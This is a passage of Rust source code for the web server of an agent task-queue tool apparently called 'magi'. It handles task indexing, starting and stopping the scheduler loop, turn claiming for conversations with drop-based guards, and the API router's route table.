922            monitor: Arc::new(SharedMonitor::new()),
923        }
924    }
925
926    /// Refresh metadata on every lookup, including external-process writes. Only
927    /// changed records are parsed. Never publish a partial scan as an empty set.
928    fn indexed_tasks(&self) -> ApiResult<Vec<Arc<TaskRelation>>> {
929        let mut index = self
930            .monitor
931            .queue_index
932            .lock()
933            .unwrap_or_else(PoisonError::into_inner);
934        let entries = match std::fs::read_dir(self.queue.root()) {
935            Ok(entries) => entries,
936            Err(e) if e.kind() == std::io::ErrorKind::NotFound => {
937                index.records.clear();
938                return Ok(Vec::new());
939            }
940            Err(e) => return Err(anyhow::Error::from(e).into()),
941        };
942        let mut seen = HashSet::new();
943        for entry in entries {
944            let path = entry.map_err(anyhow::Error::from)?.path();
945            if path.extension().is_none_or(|ext| ext != "json") {
946                continue;
947            }
948            let Some(id) = path.file_stem().and_then(|s| s.to_str()) else {
949                continue;
950            };
951            let stamp = file_identity(&path).map_err(anyhow::Error::from)?;
952            seen.insert(id.to_owned());
953            // On platforms without inode/ctime, re-read rather than trust a
954            // same-size replacement with a preserved modification timestamp.
955            if !cfg!(unix) || index.records.get(id).is_none_or(|(old, _)| *old != stamp) {
956                let Ok(task) = self.queue.get(id) else {
957                    // Isolate an unreadable record, as Queue::list does. Keep
958                    // its last known relationship so a lookup of THAT task
959                    // still fails on the authoritative read below. Never let
960                    // unrelated corruption disable every run and conversation.
961                    // Counts must not present its previous status as current.
962                    if let Some((_, record)) = index.records.get_mut(id) {
963                        Arc::make_mut(record).status = None;
964                    }
965                    continue;
966                };
967                #[cfg(test)]
968                {
969                    index.reparsed += 1;
970                }
971                if file_identity(&path).map_err(anyhow::Error::from)? != stamp {
972                    return Err(ApiError::conflict("Queue changed during read; retry"));
973                }
974                index
975                    .records
976                    .insert(id.to_owned(), (stamp, Arc::new(TaskRelation::from(task))));
977            }
978        }
979        index.records.retain(|id, _| seen.contains(id));
980        let mut tasks: Vec<_> = index
981            .records
982            .values()
983            .map(|(_, task)| task.clone())
984            .collect();
985        tasks.sort_unstable_by(|a, b| b.priority.cmp(&a.priority).then_with(|| b.id.cmp(&a.id)));
986        Ok(tasks)
987    }
988
989    fn find_task_for_run(&self, run_id: &str) -> ApiResult<Option<Task>> {
990        let Some(record) = self
991            .indexed_tasks()?
992            .into_iter()
993            .find(|task| task.runs.iter().any(|id| id == run_id))
994        else {
995            return Ok(None);
996        };
997        let task = self.queue.get(&record.id)?;
998        if !task.runs.iter().any(|id| id == run_id) {
999            return Err(ApiError::conflict("Task relationship changed; retry"));
1000        }
1001        Ok(Some(task))
1002    }
1003
1004    fn find_tasks_for_talk(&self, talk_id: &str) -> ApiResult<Vec<Task>> {
1005        self.indexed_tasks()?
1006            .into_iter()
1007            .filter(|task| {
1008                task.chat.as_deref() == Some(talk_id)
1009                    || matches!(&task.source, Source::Agent { run, .. } if run == talk_id)
1010            })
1011            .map(|record| {
1012                let task = self.queue.get(&record.id)?;
1013                if task.chat.as_deref() != Some(talk_id)
1014                    && !matches!(&task.source, Source::Agent { run, .. } if run == talk_id)
1015                {
1016                    return Err(ApiError::conflict("Task relationship changed; retry"));
1017                }
1018                Ok(task)
1019            })
1020            .collect()
1021    }
1022
1023    /// The operator's own state: `<home>/queue`, `<home>/questions`,
1024    /// `<home>/talks`, `<home>/runs`.
1025    pub fn open(repo: PathBuf) -> Self {
1026        Self::new(
1027            Queue::open(),
1028            Questions::open(),
1029            Talks::open(),
1030            run::runs_root(),
1031            run::home(),
1032            repo,
1033        )
1034    }
1035
1036    /// The merge mode the loop should use, as the command line gave it.
1037    ///
1038    /// A builder step rather than a seventh parameter on [`Ui::new`], because
1039    /// the override is a property of how this process was invoked and not of
1040    /// where its state lives - which is all the tests that build a `Ui` by
1041    /// hand are saying.
1042    #[must_use]
1043    pub fn with_merge(mut self, merge: Option<String>) -> Self {
1044        self.merge = merge;
1045        self
1046    }
1047
1048    /// The machine-config file the settings screen writes, when it is not
1049    /// [`Config::machine_layer`] (tests).
1050    #[cfg(test)]
1051    #[must_use]
1052    fn with_machine_config(mut self, path: Option<PathBuf>) -> Self {
1053        self.machine_config = path;
1054        self
1055    }
1056
1057    /// Where the runs' worktrees live, when it is not the default.
1058    ///
1059    /// The health view sizes this directory, so a test that leaves it at the
1060    /// default would be measuring the operator's own machine.
1061    #[must_use]
1062    pub fn with_worktrees_root(mut self, root: PathBuf) -> Self {
1063        self.worktrees_root = root;
1064        self
1065    }
1066
1067    /// Point the loop at something other than [`launch_daemon`].
1068    ///
1069    /// Test-only, and deliberately: see [`Ui::launch`] for why no test in
1070    /// this crate may start the real loop.
1071    #[cfg(test)]
1072    #[must_use]
1073    fn with_launch(mut self, launch: Launch) -> Self {
1074        self.launch = launch;
1075        self
1076    }
1077
1078    /// Install a [`BusyQueueGate`] for the next pass through the busy
1079    /// branch's queued-draft write, replacing any earlier one.
1080    ///
1081    /// A setter on `&self` rather than a `with_*` builder consumed once,
1082    /// because a test that drives the busy branch more than once (as
1083    /// `a_dropped_handler_future_after_queueing_still_drains_the_draft` does,
1084    /// to build confidence the interleaving is handled deterministically and
1085    /// not just on a lucky run) needs a fresh channel pair each time, on the
1086    /// one `Ui` it already built its temp directories around.
1087    #[cfg(test)]
1088    fn set_busy_queue_gate(&self, gate: BusyQueueGate) {
1089        *self
1090            .busy_queue_gate
1091            .lock()
1092            .unwrap_or_else(PoisonError::into_inner) = Some(gate);
1093    }
1094
1095    /// Prevent a restart from ending an already accepted send between its
1096    /// durable transcript write and detached worker reservation.
1097    fn begin_admission(&self) -> ApiResult<AdmissionGuard> {
1098        let guard = Arc::clone(&self.admissions)
1099            .try_read_owned()
1100            .map_err(|_| ApiError::conflict("web restart in progress; retry this message"))?;
1101        if *guard {
1102            return Err(ApiError::conflict(
1103                "web restart in progress; retry this message",
1104            ));
1105        }
1106        Ok(guard)
1107    }
1108
1109    /// Start a scheduler that outlives this web process.
1110    async fn start_detached_loop(&self) -> ApiResult<()> {
1111        if self
1112            .upgrade_spawned
1113            .load(std::sync::atomic::Ordering::SeqCst)
1114        {
1115            return Err(ApiError::conflict("an upgrade is in progress"));
1116        }
1117        let reading = daemon::read_status(&self.home);
1118        if let Some(other) = Foreign::of(reading.as_ref()) {
1119            return Err(ApiError::conflict(format!(
1120                "{} is still running a legacy scheduler; finish or park it before starting the independent scheduler.",
1121                other.who()
1122            )));
1123        }
1124        let jobs = crate::worker::active(&self.home).map_err(ApiError::from)?;
1125        let control = crate::worker::control(&self.home, "scheduler").map_err(ApiError::from)?;
1126        let scheduler_running = jobs.iter().any(|job| job.kind == "scheduler")
1127            || reading.is_some_and(|reading| {
1128                reading.worker_protocol == Some(1) && reading.running(Timestamp::now())
1129            });
1130        if control.is_some() && scheduler_running {
1131            return Err(ApiError::conflict(
1132                "the scheduler is still stopping; retry Start after it has stopped",
1133            ));
1134        }
1135        if !jobs.iter().any(|job| job.kind == "scheduler") {
1136            let available =
1137                crate::worker::try_lease(&self.home, "scheduler").map_err(ApiError::from)?;
1138            if available.is_none() {
1139                return Err(ApiError::conflict(
1140                    "the scheduler is still running or stopping; retry after its transition completes",
1141                ));
1142            }
1143            drop(available);
1144        }
1145        let opts = daemon::Opts {
1146            repo: self.repo.clone(),
1147            merge: self.merge.clone(),
1148            worktrees_root: Some(self.worktrees_root.clone()),
1149            ..daemon::Opts::default()
1150        };
1151        daemon::spawn_detached(&self.home, &opts)
1152            .await
1153            .map_err(ApiError::from)?;
1154        let mut state = self.lock_loop();
1155        state.last_error = None;
1156        state.rev += 1;
1157        Ok(())
1158    }
1159
1160    /// Start the loop in this process, or say who already has one.
1161    ///
1162    /// `foreign` is passed in rather than read here so that one request makes
1163    /// one judgement about who owns the loop: reading the status file again
1164    /// inside this function could refuse a start for a daemon the same
1165    /// response then reports as gone.
1166    #[cfg(test)]
1167    fn start_loop(&self, foreign: Option<Foreign>) -> ApiResult<()> {
1168        if let Some(other) = foreign {
1169            return Err(ApiError::conflict(format!(
1170                "{} is already running the loop, so this one will not start a \
1171                 second: two loops on one queue race for the same claims and \
1172                 burn the agent quota twice over. Stop it where it was \
1173                 started.",
1174                other.who()
1175            )));
1176        }
1177        let mut state = self.lock_loop();
1178        if self
1179            .upgrade_spawned
1180            .load(std::sync::atomic::Ordering::SeqCst)
1181        {
1182            return Err(ApiError::conflict("an upgrade is in progress"));
1183        }
1184        if state.live.as_ref().is_some_and(Live::alive) {
1185            return Err(ApiError::conflict(format!(
1186                "this magi web process (pid {}) is already running the loop",
1187                std::process::id()
1188            )));
1189        }
1190
1191        let stop = daemon::Stop::new();
1192        // The CLI's own defaults for everything the UI has no opinion about:
1193        // one poll interval and one retry budget, so a loop started from a
1194        // phone behaves exactly like the `magi serve` it replaces.
1195        let opts = daemon::Opts {
1196            repo: self.repo.clone(),
1197            merge: self.merge.clone(),
1198            // Whatever this `Ui` already reports worktree sizes and folds
1199            // against (see `with_worktrees_root`) is what the loop it starts
1200            // must reclaim orphaned worktrees under too - two different
1201            // opinions about where the worktree bay is would leave the
1202            // janitor pass reclaiming a directory nothing else on this
1203            // process is even looking at.
1204            worktrees_root: Some(self.worktrees_root.clone()),
1205            ..daemon::Opts::default()
1206        };
1207        let launch = self.launch;
1208        let looping = Arc::clone(&self.looping);
1209        let handle = tokio::spawn({
1210            let opts = opts.clone();
1211            let stop = stop.clone();
1212            async move {
1213                let failure = match launch(opts, stop).await {
1214                    Ok(()) => None,
1215                    Err(e) => Some(format!("{e:#}")),
1216                };
1217                match &failure {
1218                    Some(why) => tracing::error!("the loop stopped: {why}"),
1219                    None => tracing::info!("the loop stopped"),
1220                }
1221                // Recorded by the task itself rather than reaped by whichever
1222                // request happens next, so `loop_rev` moves the moment the
1223                // loop ends and a phone with the change stream open learns
1224                // that it did. Clearing `live` drops this task's own handle,
1225                // which only detaches it, and is the last thing it does.
1226                let mut state = lock_or_recover(&looping);
1227                state.live = None;
1228                state.last_error = failure;
1229                state.rev += 1;
1230            }
1231        });
1232        tracing::info!(
1233            "the loop is now running in this process: repo {}, merge {}",
1234            opts.repo.display(),
1235            opts.merge.as_deref().unwrap_or("as the config says")
1236        );
1237        state.live = Some(Live { stop, handle, opts });
1238        // A fresh start is not the place to keep showing why the last one
1239        // died; the operator has read it and pressed the button anyway.
1240        state.last_error = None;
1241        state.rev += 1;
1242        Ok(())
1243    }
1244
1245    /// Ask the loop to stop, without waiting for it to get there.
1246    ///
1247    /// Idempotent: a second tap on stop is not an error, because the first one
1248    /// leaves the loop running for as long as the run in flight takes and the
1249    /// operator has no way to tell a slow stop from a lost one.
1250    fn stop_loop(&self, foreign: Option<Foreign>, park: bool) -> ApiResult<()> {
1251        if let Some(other) = foreign {
1252            return Err(ApiError::conflict(format!(
1253                "the loop belongs to {}, and this process cannot stop it - \
1254                 stop it where it was started. A button that silently did \
1255                 nothing would be worse than this refusal.",
1256                other.who()
1257            )));
1258        }
1259        #[cfg(not(test))]
1260        {
1261            daemon::request_control(
1262                &self.home,
1263                if park {
1264                    crate::worker::Control::Park
1265                } else {
1266                    crate::worker::Control::Stop
1267                },
1268            )
1269            .map_err(ApiError::from)?;
1270            self.lock_loop().rev += 1;
1271            Ok(())
1272        }
1273        #[cfg(test)]
1274        {
1275            let mut state = self.lock_loop();
1276            let Some(live) = state.live.as_ref() else {
1277                return Ok(());
1278            };
1279            // A park upgrades a stop that has already been asked for: the
1280            // operator who tapped "stop" and then realised the run has an hour
1281            // left must not have to restart the loop to change their mind.
1282            if live.stop.stopped() && (!park || live.stop.parking()) {
1283                return Ok(());
1284            }
1285            if park {
1286                live.stop.park(crate::run::ParkCause::Operator);
1287                tracing::info!(
1288                    "the loop was asked to park; the run stops at its next node boundary"
1289                );
1290            } else {
1291                live.stop.stop();
1292                tracing::info!("the loop was asked to stop; a run in flight is finished first");
1293            }
1294            state.rev += 1;
1295            Ok(())
1296        }
1297    }
1298
1299    /// The loop as both `/api/loop` and `/api/health` report it.
1300    ///
1301    /// `reading` is the caller's single read of `<home>/daemon.json`, because
1302    /// health answers with this view *and* the daemon object beside it: one
1303    /// read per response is what stops a single answer naming a foreign owner
1304    /// in one field and calling the loop free in the other.
1305    #[cfg(not(test))]
1306    fn try_loop_view(&self, reading: Option<daemon::Reading>) -> ApiResult<LoopView> {
1307        let jobs = crate::worker::active(&self.home).map_err(|error| {
1308            ApiError::internal(format!("cannot read independent worker state: {error:#}"))
1309        })?;
1310        Ok(self.runtime_loop_view(reading, &jobs))
1311    }
1312
1313    #[cfg(test)]
1314    fn loop_view(&self, reading: Option<daemon::Reading>) -> LoopView {
1315        let state = self.lock_loop();
1316        // A loop that panicked never recorded its own end, so the handle -
1317        // not the presence of the record - is what "running" means.
1318        let live = state.live.as_ref().filter(|live| live.alive());
1319        LoopView {
1320            running: live.is_some(),
1321            stopping: live.is_some_and(|live| live.stop.finishing()),
1322            parking: live.is_some_and(|live| live.stop.parking()),
1323            owned: live.is_some(),
1324            repo: live
1325                .map_or(&self.repo, |live| &live.opts.repo)
1326                .display()
1327                .to_string(),
1328            merge: live.map_or_else(|| self.merge.clone(), |live| live.opts.merge.clone()),
1329            last_error: state.last_error.clone(),
1330            daemon: DaemonView::of(reading),
1331        }
1332    }
1333
1334    /// Reuse one active-job snapshot for both ownership and public health.
1335    fn runtime_loop_view(
1336        &self,
1337        reading: Option<daemon::Reading>,
1338        jobs: &[crate::worker::Job],
1339    ) -> LoopView {
1340        let scheduler = jobs.iter().find(|job| job.kind == "scheduler");
1341        let reporting = reading
1342            .as_ref()
1343            .is_some_and(|r| r.running(Timestamp::now()));
1344        let managed = scheduler.is_some()
1345            || (reporting
1346                && reading
1347                    .as_ref()
1348                    .is_some_and(|r| r.worker_protocol == Some(1)));
1349        let control = crate::worker::control(&self.home, "scheduler")
1350            .ok()
1351            .flatten();
1352        // Foreground serve also persists its options, so ownership never
1353        // causes us to substitute the web process's repository for its own.
1354        let persisted = if managed && scheduler.is_none() {
1355            std::fs::read(self.home.join("scheduler-options.json"))
1356                .ok()
1357                .and_then(|bytes| serde_json::from_slice::<daemon::Opts>(&bytes).ok())
1358        } else {
1359            None
1360        };
1361        let repo = scheduler
1362            .and_then(|job| job.payload.get("repo"))
1363            .and_then(serde_json::Value::as_str)
1364            .map(str::to_owned)
1365            .or_else(|| {
1366                persisted
1367                    .as_ref()
1368                    .map(|opts| opts.repo.display().to_string())
1369            })
1370            .unwrap_or_else(|| self.repo.display().to_string());
1371        let merge = match scheduler {
1372            Some(job) => job
1373                .payload
1374                .get("merge")
1375                .and_then(serde_json::Value::as_str)
1376                .map(str::to_owned),
1377            None => persisted.map_or_else(|| self.merge.clone(), |opts| opts.merge),
1378        };
1379        LoopView {
1380            running: managed || reporting,
1381            stopping: managed && matches!(control, Some(crate::worker::Control::Stop)),
1382            parking: matches!(control, Some(crate::worker::Control::Park))
1383                && jobs.iter().any(|job| job.kind == "task"),
1384            owned: managed,
1385            repo,
1386            merge,
1387            last_error: self.lock_loop().last_error.clone(),
1388            daemon: DaemonView::of(reading),
1389        }
1390    }
1391
1392    /// Take the loop lock. See [`lock_or_recover`] for why it cannot fail.
1393    fn lock_loop(&self) -> MutexGuard<'_, LoopState> {
1394        lock_or_recover(&self.looping)
1395    }
1396
1397    /// In-flight admission, detached startup, or a cross-process turn lease.
1398    fn is_thinking(&self, id: &str) -> bool {
1399        self.talk_turns
1400            .lock()
1401            .is_ok_and(|turns| turns.live.contains(id))
1402            // Another process (the CLI) can hold the turn through the
1403            // on-disk lease.
1404            || self.talks.turn_held(id)
1405            || crate::chat_worker::turn_worker_active(&self.talks, id)
1406    }
1407
1408    /// 表示専用の観測。ローカルの受付処理やワーカーストアの書き込みを待たない。
1409    /// 送信などの判断には [`Ui::is_thinking`] を使う。
1410    fn is_thinking_observed(&self, id: &str) -> bool {
1411        self.talk_turns.try_lock().map_or_else(
1412            // Admission may itself be waiting on the worker store. Display a
1413            // conservative busy state rather than waiting behind that writer.
1414            |error| matches!(error, std::sync::TryLockError::WouldBlock),
1415            |turns| turns.live.contains(id),
1416        )
1417            // Another process (the CLI) can hold the turn through the
1418            // on-disk lease.
1419            || self.talks.turn_held(id)
1420            || crate::consult::turn_worker_observed(&self.talks, id)
1421    }
1422
1423    /// Claim the right to run one turn in a talk, or report that it is busy.
1424    ///
1425    /// A talk is strictly turn-based: the agent is resumed with the
1426    /// conversation it already has, so two turns running at once would resume
1427    /// the same session twice and append their answers in whatever order the
1428    /// two CLIs finished in. The operator would come back to a transcript
1429    /// with two half-turns interleaved, which is unreadable and, worse,
1430    /// unfixable - there is no undo for a persisted turn.
1431    ///
1432    /// A busy result is queued as a durable draft by [`talk_say`], rather than
1433    /// starting a second CLI invocation for the same session.
1434    ///
1435    /// The lock is a `std::sync::Mutex` and never crosses an `await`: it is
1436    /// taken to test-and-insert and released before the agent is spawned. The
1437    /// returned guard removes the id on drop, which is what makes a panicking
1438    /// handler or a phone that walks out of range leave the talk usable - axum
1439    /// drops the handler future when the client disconnects, and without the
1440    /// guard that talk would be wedged until the server restarted.
1441    fn begin_talk_turn(&self, id: &str) -> ApiResult<Option<TalkTurnGuard>> {
1442        self.claim_talk_turn(id, false)
1443    }
1444
1445    /// Claim a turn after durably queueing a draft, or notify its current
1446    /// owner that a drainer must recheck before it releases the slot.
1447    fn begin_queued_talk_turn(&self, id: &str) -> ApiResult<Option<TalkTurnGuard>> {
1448        self.claim_talk_turn(id, true)
1449    }
1450
1451    fn claim_talk_turn(&self, id: &str, queued: bool) -> ApiResult<Option<TalkTurnGuard>> {
1452        let mut live = self
1453            .talk_turns
1454            .lock()
1455            .map_err(|_| ApiError::internal("the talk turn lock was poisoned"))?;
1456        if crate::chat_worker::turn_worker_active(&self.talks, id) {
1457            if queued {
1458                *live.queued.entry(id.to_owned()).or_default() += 1;
1459            }
1460            return Ok(None);
1461        }
1462        let inserted = live.live.insert(id.to_owned());
1463        // The on-disk lease is the cross-process half of the gate. Taken
1464        // second, and undone if lost, so `live` never claims a turn the lease
1465        // refused.
1466        let lease = if inserted {
1467            match self.talks.claim_turn(id) {
1468                Ok(Some(lease)) => Some(lease),
1469                Ok(None) => {
1470                    live.live.remove(id);
1471                    None
1472                }
1473                Err(e) => {
1474                    live.live.remove(id);
1475                    return Err(ApiError::from(e));
1476                }
1477            }
1478        } else {
1479            None
1480        };
1481        if lease.is_none() {
1482            if queued {
1483                // A queued write has landed before this busy check.
1484                // `drain_loop` uses this generation to recheck after its
1485                // off-thread disk read, so it cannot release a turn between
1486                // this check and the write.
1487                *live.queued.entry(id.to_owned()).or_default() += 1;
1488            }
1489            return Ok(None);
1490        }
1491        Ok(Some(TalkTurnGuard {
1492            talk: id.to_owned(),
1493            turns: Arc::clone(&self.talk_turns),
1494            released: false,
1495            lease,
1496        }))
1497    }
1498
1499    /// Decide whether a free talk may start a new immediate turn while its
1500    /// claim lock is held. A persisted draft without an owner is recovery
1501    /// state, not a busy turn: two simultaneous `/say` requests must both
1502    /// leave it untouched rather than one of them appending to it.
1503    fn begin_talk_turn_unless_pending(&self, id: &str) -> ApiResult<TalkTurnStart> {
1504        let mut live = self
1505            .talk_turns
1506            .lock()
1507            .map_err(|_| ApiError::internal("the talk turn lock was poisoned"))?;
1508        // A detached worker owns its turn across web process replacement.
1509        if live.live.contains(id) || crate::chat_worker::turn_worker_active(&self.talks, id) {
1510            return Ok(TalkTurnStart::Busy);
1511        }
1512        let Some(lease) = self.talks.claim_turn(id).map_err(ApiError::from)? else {
1513            return Ok(TalkTurnStart::Foreign);
1514        };
1515        // A refused `Pending` below drops the lease again.
1516        let talk = self.talks.get(id).map_err(ApiError::from)?;
1517        if !talk.pending.is_empty() || !talk.pending_attachments.is_empty() {
1518            return Ok(TalkTurnStart::Pending);
1519        }
1520        live.live.insert(id.to_owned());
1521        Ok(TalkTurnStart::Claimed(TalkTurnGuard {
1522            talk: id.to_owned(),
1523            turns: Arc::clone(&self.talk_turns),
1524            released: false,
1525            lease: Some(lease),
1526        }))
1527    }
1528
1529    fn queued_generation(&self, id: &str) -> u64 {
1530        let live = self
1531            .talk_turns
1532            .lock()
1533            .unwrap_or_else(PoisonError::into_inner);
1534        live.queued.get(id).copied().unwrap_or(0)
1535    }
1536
1537    /// Claim a run for a resume, on the same reasoning as
1538    /// [`Ui::begin_talk_turn`]: a guard that releases on drop, so a
1539    /// disconnected phone does not wedge the run until the server restarts.
1540    fn begin_resume(&self, id: &str) -> ApiResult<ResumeGuard> {
1541        let mut live = self
1542            .resuming
1543            .lock()
1544            .map_err(|_| ApiError::internal("the resume lock was poisoned"))?;
1545        if self
1546            .upgrade_spawned
1547            .load(std::sync::atomic::Ordering::SeqCst)
1548        {
1549            return Err(ApiError::conflict("an upgrade is in progress"));
1550        }
1551        if !live.insert(id.to_owned()) {
1552            return Err(ApiError::conflict(format!(
1553                "run {id} is already being resumed"
1554            )));
1555        }
1556        Ok(ResumeGuard {
1557            run: id.to_owned(),
1558            resuming: Arc::clone(&self.resuming),
1559        })
1560    }
1561
1562    /// The router, with this state baked in.
1563    ///
1564    /// The three front-end files get one explicit route each rather than a
1565    /// path parameter, so there is no traversal surface to get wrong: the set
1566    /// of servable paths is the set written here. The asset route below is the
1567    /// one exception and the only place in this server where a client names a
1568    /// file; it is why [`valid_asset_name`] is checked before a path is built.
1569    pub fn router(self) -> Router {
1570        Arc::new(self).shared_router()
1571    }
1572
1573    fn shared_router(self: Arc<Self>) -> Router {
1574        Router::new()
1575            .route("/", get(index))
1576            .route("/app.css", get(app_css))
1577            .route("/app.js", get(app_js))
1578            .route("/api/health", get(health))
1579            .route("/api/references", post(id_links::resolve_text))
1580            .route("/api/loop", get(loop_get).post(loop_post))
1581            .route("/api/upgrade", post(upgrade_post))
1582            .route("/api/runs", get(runs_list))
1583            .route("/api/runs/{id}", get(run_detail).delete(run_delete))
1584            .route("/api/runs/{id}/progress", get(run_progress))
1585            .route("/api/runs/{id}/core", get(run_core))
1586            .route("/api/runs/{id}/report", get(run_report))
1587            .route("/api/runs/{id}/report.json", get(run_report_json))
1588            .route("/api/runs/{id}/graft.diff", get(run_graft_diff))
1589            .route("/api/runs/{id}/seat-evidence", get(run_seat_evidence))
1590            .route("/api/runs/{id}/seat-evidence/{head}", get(run_seat_diff))
1591            .route("/api/runs/{id}/fold", post(run_fold))
1592            .route("/api/runs/{id}/fold-merged", post(run_fold_merged))
1593            .route("/api/runs/{id}/resume", post(run_resume))
1594            .route("/api/queue", get(queue_list))
1595            .route("/api/queue/page", get(queue_page))
1596            .route("/api/search", get(search_get))
1597            .route("/api/queue/{id}", get(task_detail).delete(queue_delete))
1598            .route("/api/queue/{id}/core", get(task_core))
1599            .route("/api/stats", get(stats_get))
1600            .route("/api/stats/queue", get(stats_queue))
1601            .route("/api/repos", get(repos_list))
1602            .route("/api/settings", get(settings_get))
1603            .route("/api/settings/roles", put(settings_put_roles))
1604            .route("/api/queue/{id}/hold", post(queue_hold))
1605            .route("/api/queue/{id}/reassign", post(queue_reassign))
1606            .route("/api/queue/{id}/release", post(queue_release))
1607            .route("/api/queue/{id}/priority", post(queue_priority))
1608            .route("/api/queue/{id}/urgent", post(queue_urgent))
1609            .route("/api/queue/{id}/immediate", post(queue_immediate))
1610            .route("/api/queue/{id}/implementers", post(queue_implementers))
1611            .route("/api/queue/{id}/attempt-limit", post(queue_attempt_limit))
1612            .route("/api/queue/{id}/edit", post(queue_edit))
1613            .route("/api/queue/{id}/done", post(queue_done))
1614            .route("/api/queue/{id}/reopen", post(queue_reopen))
1615            .route("/api/decisions", get(decisions_list))
1616            .route("/api/decisions/{id}", get(decision_get))
1617            .route("/api/questions", get(questions_list))
1618            .route("/api/questions/core", get(questions_core))
1619            .route("/api/questions/origins", get(question_origins))
1620            .route("/api/questions/{id}/answer", post(question_answer))
1621            .route("/api/questions/{id}/say", post(question_say))
1622            .route("/api/questions/{id}/consult", post(question_consult))
1623            .route("/api/questions/{id}/panel", get(question_panel))
1624            // The same asset, reachable from inside the panel by its bare
1625            // filename. A document served at `.../panel` resolves `shot.png`
1626            // to `.../shot.png`, which is not the asset route, so a panel
1627            // written the way its author was told to write it showed broken
1628            // images. `base-uri 'none'` means a `<base>` tag cannot paper over
1629            // it - deliberately - so the fix is that the panel's own URL ends
1630            // in a filename and its siblings are the assets.
1631            .route("/api/questions/{id}/panel/index.html", get(question_panel))
1632            .route("/api/questions/{id}/panel/{name}", get(question_asset))
1633            .route("/api/questions/{id}/asset/{name}", get(question_asset))
1634            .route("/api/notifications", get(notifications_list))
1635            .route("/api/notifications/read-all", post(notifications_read_all))
1636            .route("/api/notifications/{id}/read", post(notification_read))
1637            .route(
1638                "/api/notifications/{id}/dismiss",
1639                post(notification_dismiss),
1640            )
1641            .route("/api/talks", get(talks_list).post(talk_post))
1642            .route("/api/talks/page", get(talks_page))
1643            .route("/api/talks/{id}", get(talk_detail).delete(talk_delete))
1644            .route("/api/talks/{id}/core", get(talk_core))
1645            .route("/api/talks/{id}/sections", get(talk_sections))
1646            .route("/api/talks/{id}/say", post(talk_say))
1647            .route("/api/talks/{id}/pending/resume", post(talk_pending_resume))
1648            .route("/api/talks/{id}/pending/clear", post(talk_pending_clear))
1649            .route("/api/talks/{id}/pending/edit", post(talk_pending_edit))
1650            .route("/api/talks/{id}/agent", post(talk_agent))
1651            .route("/api/talks/{id}/persona", post(talk_persona))
1652            .route("/api/talks/{id}/implementers", post(talk_implementers))
1653            .route("/api/talks/{id}/close", post(talk_close))
1654            .route("/api/talks/{id}/reopen", post(talk_reopen))
1655            // `DefaultBodyLimit` is raised only on this one route - every
1656            // other route on this server answers in a few kilobytes, and
1657            // widening the crate-wide default for all of them just because
1658            // one accepts a picture would let any other handler be handed
1659            // a multi-megabyte body it never expects.
1660            .route(
1661                "/api/talks/{id}/attachments",
1662                post(talk_attachment_post).layer(DefaultBodyLimit::max(ATTACHMENT_MAX_BYTES + 1)),
1663            )
1664            .route(
1665                "/api/talks/{id}/attachments/{att}",
1666                get(talk_attachment_get),
1667            )
1668            .route("/api/talks/{id}/avatar", get(talk_avatar))
1669            .route("/avatars/operator.svg", get(operator_avatar))
1670            .route(
1671                "/api/avatar-settings",
1672                get(avatar_settings_get)
1673                    .put(avatar_settings_put)
1674                    .delete(avatar_settings_delete),
1675            )
1676            .route("/avatars/persona", get(settings_persona_avatar))
1677            .route("/avatars/magi", get(magi_avatar))
1678            .route(
1679                "/api/magi-icon",
1680                get(magi_icon_get)
1681                    .put(magi_icon_put)
1682                    .delete(magi_icon_delete),
1683            )
1684            .route("/api/events", get(events))
1685            .with_state(self)
1686    }
1687}
1688
1689/// One talk's turn slot, released on drop.
1690///
1691/// A guard rather than a matching `remove` at the end of the handler, because
1692/// the handler has several early returns and one `await` that can be cancelled
1693/// out from under it. A leaked id is a talk nobody can talk to again.
1694#[derive(Debug)]
1695struct TalkTurnGuard {
1696    talk: String,
1697    turns: Arc<Mutex<TalkTurns>>,
1698    released: bool,
1699    /// The cross-process half of the slot; dropped with the guard.
1700    lease: Option<crate::talk::TurnLease>,
1701}
1702
1703/// In-memory turn ownership plus the queue generation observed by a drainer.
1704///
1705/// The generation changes only after a durable queued draft is written and its
1706/// caller finds the turn busy. That lets the loop run filesystem work outside
1707/// this mutex while still making the final empty-check/release atomic with a
1708/// concurrent queue handoff.
1709#[derive(Debug, Default)]
1710struct TalkTurns {
1711    live: HashSet<String>,
1712    queued: HashMap<String, u64>,
1713}
1714
1715/// The atomic initial-state decision made by
1716/// [`Ui::begin_talk_turn_unless_pending`].
1717enum TalkTurnStart {
1718    Claimed(TalkTurnGuard),
1719    Busy,
1720    /// Another process holds the turn lease. Unlike `Busy` there is no local
1721    /// drain loop that would answer a queued draft, so the caller refuses.
1722    Foreign,
1723    Pending,
1724}
1725
1726impl TalkTurnGuard {
1727    #[cfg(test)]
1728    /// Does this guard still own the on-disk lease? A transient failure to
1729    /// check counts as owning: the next beat decides. A guard that lost it
1730    /// must not start another turn on the same session.
1731    fn owns(&self) -> bool {
1732        self.lease
1733            .as_ref()
1734            .is_none_or(|lease| !matches!(lease.beat(), Ok(false)))
1735    }
1736
1737    #[cfg(test)]
1738    /// `talk::respond` while renewing the on-disk lease, so a turn longer
1739    /// than the lease's TTL still reads as held to other processes.
1740    async fn respond(
1741        &self,
1742        talk: &mut Talk,
1743        talks: &Talks,
1744        cfg: &Config,
1745        text: &str,
1746    ) -> anyhow::Result<()> {
1747        let lease = self
1748            .lease
1749            .as_ref()
1750            .context("the turn guard no longer holds its lease")?;
1751        talk::respond(lease, talk, talks, cfg, text).await
1752    }
1753
1754    /// Release while the caller already holds the claim mutex, closing the
1755    /// last-drain/arrival gap without letting `Drop` revoke a later claim.
1756    fn release(mut self, live: &mut TalkTurns) {
1757        // The on-disk lease goes first: while `live` still names the talk, no
1758        // local claim can start, so nobody observes the slot free but the
1759        // lease held.
1760        self.lease = None;
1761        live.live.remove(&self.talk);
1762        live.queued.remove(&self.talk);
1763        self.released = true;
1764    }
1765}
1766
1767impl Drop for TalkTurnGuard {
1768    fn drop(&mut self) {
1769        if self.released {
1770            return;
1771        }
1772        // Lease first, then the in-process slot (see `release`).
1773        drop(self.lease.take());
1774        if let Ok(mut live) = self.turns.lock() {
1775            live.live.remove(&self.talk);
1776            live.queued.remove(&self.talk);
1777        }
1778    }
1779}
1780
1781/// Releases a resume claim, so a run is resumable again after the attempt.
1782struct ResumeGuard {
1783    run: String,
1784    resuming: Arc<Mutex<HashSet<String>>>,
1785}
1786
1787impl Drop for ResumeGuard {
1788    fn drop(&mut self) {
1789        if let Ok(mut live) = self.resuming.lock() {
1790            live.remove(&self.run);
1791        }
1792    }
1793}
1794
1795/// Bind the port, waiting briefly for a predecessor to let go of it.
1796///
